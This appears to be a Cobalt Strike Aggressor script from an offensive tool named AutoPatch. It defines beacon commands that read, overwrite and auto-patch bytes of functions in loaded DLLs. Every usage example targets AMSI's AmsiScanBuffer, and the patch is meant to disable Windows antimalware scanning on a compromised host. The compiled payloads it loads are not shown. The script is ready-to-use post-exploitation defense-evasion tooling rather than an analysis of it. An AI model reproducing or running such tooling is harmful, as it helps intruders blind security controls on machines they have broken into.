galoryber-AutoPatch/memory-patch.cna

alias read-memory {
        local('$handle $data $args $command');

        # @_ holds args
        if (size(@_) != 5) {
                berror($1, "usage: read-memory dllName functionName startIndex numOfBytesToRead . Ex--> read-memory amsi AmsiScanBuffer 0 8");
                return;
        }

        # Parse our args
        $dllName = $2;
        $functionName = $3;
        $startIndex = $4;
        $numOfBytes = $5;

        # Open the object file, and read it in.
        $handle = openf(script_resource("read/read-memory.o"));
        $data   = readb($handle, -1);
        closef($handle)

        # pack our arguments
        $args = bof_pack($1, "zzii", $dllName, $functionName, $startIndex, $numOfBytes);

        # announce to user
        btask($1, "reading memory at  $2:$3 starting index $4 and reading $5 bytes");

        # Run a BOF
        beacon_inline_execute($1, $data, "go", $args);
}

alias write-memory {
        local('$handle $data $args $command');

        # @_ holds args
        if (size(@_) != 5) {
                berror($1, "usage: write-memory dllName functionName startIndex bytesToWrite . Ex--> write-memory amsi AmsiScanBuffer 0 FFEE99AA9090");
                return;
        }

        # Parse our args
        $dllName = $2;
        $functionName = $3;
        $startIndex = $4;
        $bytesToWrite = $5;

        # Open the object file, and read it in.
        $handle = openf(script_resource("write/write-memory.o"));
        $data   = readb($handle, -1);
        closef($handle)

        # pack our arguments
        $args = bof_pack($1, "zziz", $dllName, $functionName, $startIndex, $bytesToWrite);
        
        # announce to user
        btask($1, "writing memory at  $2 : $3 starting index $4 and $5 bytes");

        # Run a BOF
        beacon_inline_execute($1, $data, "go", $args);
}

alias autopatch {
        local('$handle $data $args $command');

        # @_ holds args
        if (size(@_) != 4) {
                berror($1, "usage: autopatch dllName functionName bytesToReadAndFindC3 . Ex--> autopatch amsi AmsiScanBuffer 800");
                return;
        }

        # Parse our args
        $dllName = $2;
        $functionName = $3;
        $bytesToRead = $4;

        # Open the object file, and read it in.
        $handle = openf(script_resource("auto/autopatch.o"));
        $data   = readb($handle, -1);
        closef($handle)

        # pack our arguments
        $args = bof_pack($1, "zzi", $dllName, $functionName, $bytesToRead );

        # announce to user
        btask($1, "Auto Creating JMP patch within $4 bytes of $2:$3 ");

        # Run a BOF
        beacon_inline_execute($1, $data, "go", $args);
}